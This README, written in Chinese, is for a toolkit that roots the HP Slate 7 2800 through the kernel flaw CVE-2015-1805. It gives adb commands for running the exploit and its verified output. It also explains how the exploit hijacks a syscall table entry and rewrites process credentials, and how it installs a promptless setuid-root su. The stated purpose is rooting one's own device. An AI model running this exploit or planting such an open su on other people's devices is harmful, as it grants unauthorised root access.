English | Русский
本仓库包含一套完整、自包含的工具包,用于通过利用本地漏洞 CVE-2015-1805,在运行固件 1.05.18 和内核 Linux 3.0.8+ 的 HP Slate 7 2800 上获取持久的 root 访问权限。该工具包已在真实平板上运行,并且结果已在一个全新的 ADB 会话中以及正常重启后得到验证。
这不是通用的 Android root 工具。该漏洞利用程序特定于此 HP 内核配置。请勿在其他型号、固件或内核版本上运行它。
| 参数 | 已验证的值 |
|---|---|
| 制造商和型号 | HP Slate 7 2800 |
| Android | 4.1.1,API 16,构建版本 JRO03H |
| 产品 / 设备 | t7h / pine |
| 处理器 | Rockchip RK3066,ARMv7 |
| 构建指纹 | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| 内核 | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32 位 ARM EABI5 |
| SELinux | 内核配置中不存在(CONFIG_SECURITY 已禁用) |
/system 分区 | ext4,默认以只读方式挂载 |
您可以检查设备而无需进行任何更改:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
或者,使用下面的脚本。如果指纹或内核版本不匹配,它将拒绝继续:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
已验证二进制文件的 SHA-256 校验和:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
在 macOS 上验证:
shasum -a 256 -c SHA256SUMS
在 Linux 上验证:
sha256sum -c SHA256SUMS
在平板上使用 bin/ 中的文件:这些就是在设备上验证过的确切字节。build/ 目录用于本地重新构建,并且不受 Git 跟踪。
CVE-2015-1805 是较旧 Linux 内核中 pipe_read() 和 pipe_write() 实现的一个缺陷。当原子复制失败时,代码错误地继续遍历 iovec 数组,可能导致指针越界移动。结果,本地非特权进程可以破坏内存、使内核崩溃或提升其权限。该机制的详细说明发布在 oss-security 上。修复可以在上游 Linux 的提交 637b58c 和 f0d1bec 等处找到。
平板的 3.0.8+ 内核被证明存在漏洞。在修改内核内存之前,使用一个无害的探测程序单独测试了相同的竞态条件,该探测程序的两个写入目标都位于测试进程的普通内存中。它报告了 CVE-2015-1805: VULNERABLE,并且平板在 ADB 上仍然可以访问。
readv()、内存映射更改以及内核易受攻击的管道代码处理大型 iovec 数组之间制造竞态条件。sys_call_table 中未使用的第 222 项临时替换为漏洞利用进程中一个小型 ARM 蹦床(trampoline)的地址。0xffff0008 处的高向量计算。在已验证的设备上,该指令为 0xe59ff410,其字面量指向 vector_swi = 0xc04d0d40。vector_swi 和 sys_call_table 是使用 rk30_t7h_dvt_defconfig 配置从官方 HP 开源 1.05.10 内核归档(归档 SHA-256:dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)独立汇编出来的。它们的偏移量为 0xc4。已安装的固件既没有 OABI 也没有 seccomp,因此该表的最终运行时地址是 0xc04d0e04。sp,将其按 8,192 字节的内核栈大小对齐,并且只将 写入偏移量 8 处的 。它不包含外部调用、序言或编译器运行时代码。旧内核头文件中的原始 current_thread_info() 函数与 -O0 下的现代 Clang 不兼容:早期原型读取了一个未初始化的字而不是 sp 寄存器,可能导致内核崩溃。在本仓库中,它已被一个经过验证的裸 ARM 蹦床(naked ARM trampoline)取代。早期二进制文件不包含在本仓库中。
bin/ 中现成的文件adb;您不需要 Android NDK、Java、Python、fastboot、解锁的引导加载程序、自定义 recovery、root APK 或网络访问。漏洞利用程序和负载都是静态链接的。
shasum 或 sha256sum。仍然不需要 Android NDK:Zig 提供了 ARM musl 交叉工具链。
检查连接:
adb devices -l
状态必须是 device,而不是 offline 或 unauthorized。
切换到仓库根目录,首先验证设备是否完全匹配:
./scripts/check-target.sh
如果连接了多台设备,请使用 adb -s SERIAL 将序列号传递给每条命令,或设置 ANDROID_SERIAL 环境变量。
使用它们彼此期望的名称上传这三个文件:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
设置权限并将暂存的文件刷新到存储:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
运行漏洞利用程序一次:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
已验证的成功输出:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
如果设备从 ADB 中消失几秒钟,请不要再次运行漏洞利用程序。等待它重新出现:
adb wait-for-device
该脚本验证指纹和内核,检查 SHA-256 哈希,上传文件,要求您输入 ROOT,运行漏洞利用程序,并验证 uid=0:
./scripts/root-device.sh
对于多台设备:
./scripts/root-device.sh --serial ADB_SERIAL
--yes 选项禁用交互式确认,仅用于有意的自动化使用:
./scripts/root-device.sh --serial ADB_SERIAL --yes
从全新的 ADB shell 中验证 root,而不是从漏洞利用进程的 uid 中验证:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
预期输出:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
接下来,仅删除临时暂存文件。已安装的 /system/xbin/su 不会被删除:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
该工具包不会创建 /data/local.prop 或修改用户数据。
执行正常重启,然后验证持久的 root:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
经过验证的平板在重启后产生了以下结果:
uid=0(root) gid=0(root) ...
已安装的文件从平板中拉回,并与 bin/hp-slate7-su 逐字节匹配:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
要运行单条命令:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su 是一个刻意保持极简的包装器,没有 Android 应用程序、确认提示、守护进程或权限日志。任何能够执行 /system/xbin/su 的本地进程都有可能获得 root。root 之后,请不要将这台过时的平板用于敏感数据,也不要安装不受信任的 APK。
指定便携版 Zig 0.15.2 的路径,或将 zig 添加到 PATH 中:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
输出将写入 build/:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
检查文件格式:
file build/hp-slate7-*
这三个文件必须都是 32 位 ARM EABI5 ELF 文件。使用已验证的 Zig 0.15.2 版本,安装程序和 su 的重新构建结果与 bin/ 中的文件逐字节相同。漏洞利用程序的哈希可能因 DWARF 和链接器元数据中的绝对路径而不同;其关键的六指令蹦床在验证构建中是逐字节相同的。重新构建不会替换 bin/ 中实际在平板上运行过的文件的校验和。
unauthorized解锁屏幕并接受 USB 调试 RSA 密钥。如果提示没有出现,请重新连接数据线并再次运行 adb devices -l。
offline 或设备消失等待几秒钟并运行 adb wait-for-device。如果平板已关机,请使用电源按钮正常开机。不要并发运行第二个漏洞利用实例。
[+] Done该 CVE 是通过竞态条件利用的,理论上可能会失败。在进行一次重试之前,请重启平板。不要循环运行该二进制文件:竞态条件失败可能会导致内核崩溃。
su 存在,但命令以退出码 127 结束验证文件的 SHA-256 哈希。早期研究用的包装器在 ARM 上错误地处理了 argv,并以退出码 127 结束。本仓库包含修正后的 656 字节版本,其 SHA-256 为 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e。
检查 Android 的实际状态:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
sys.boot_completed=1 表示 Android 已经启动完成,即使物理显示屏仍显示旧画面。
其他已知的方法已被安全地排除或发现不适用于此设备:CVE-2013-6282、CVE-2013-2094、CVE-2012-0056、CVE-2013-4787、Dirty COW 和 PingPongRoot。Towelroot/CVE-2014-3153 会使此内核崩溃,因此不得使用。CVE-2014-7951 可以通过 ADB 恢复路径遍历写入文件,但 HP 固件不会加载 /data/local.prop,因此该方法无法提供 root。
引导加载程序使用旧的 Rockchip 加载器,没有作为标准 fastboot 设备出现。此结果不需要刷入 recovery 或解锁引导加载程序。
漏洞利用代码基于 mobilelinux/iovy_root_research 的 f945796 提交,该提交又引用了 dosomder/iovyroot。针对特定设备的更改包括减少线程数量、修复超时、使用裸 ARM 蹦床(naked ARM trampoline)、提前恢复系统调用表、验证 cred 以及禁用不适用的 SELinux 分支。
原始声明已被保留。本仓库以 GPL-3.0 许可分发;请参阅 LICENSE 和 NOTICE。
利用内核内存总是伴随设备重启、系统损坏或数据丢失的风险。此工具包仅适用于您自己拥有的、固件完全匹配的 HP Slate 7 2800。请备份所有重要数据,并且不要将其用于属于他人的设备。
安全研究和文档编写是在 OpenAI Codex 的协助下完成的,由 GPT-5.6 Sol 提供支持,并具有 Daybreak Blue 网络安全访问权限。
| 文件 | 格式 | 大小 | 用途 |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32 位 ARM EABI5,静态链接,未去除符号 | 2,722,320 字节 | 利用 CVE 获取 uid 0,并启动安装程序 |
bin/hp-slate7-install-root | ELF 32 位 ARM EABI5,静态链接,已去除符号 | 22,596 字节 | 临时将 /system 重新挂载为 rw,安装 su,并恢复为 ro |
bin/hp-slate7-su | ELF 32 位 ARM EABI5,静态链接,已去除符号 | 656 字节 | 调用 setresgid(0,0,0) 和 setresuid(0,0,0),然后启动 /system/bin/sh |
-1thread_info.addr_limitsys_ni_syscall;在已验证的内核上恢复的指针是 0xc051900c。addr_limit 被扩大,管道复制就会读取当前的 task_struct,定位 cred,并使用当前的 uid/gid 值、对齐、引用计数以及 real_cred == cred 条件来验证该结构。只有在这些检查之后,uid/gid 值才会被清零,能力掩码才会被填满为 1。uid=0 并启动 /data/local/tmp/install-root。安装程序将 /system 重新挂载为 rw,将负载复制到 /system/xbin/su,分配 root:root 所有者和权限 06755,调用 sync(),并将 /system 重新挂载为只读。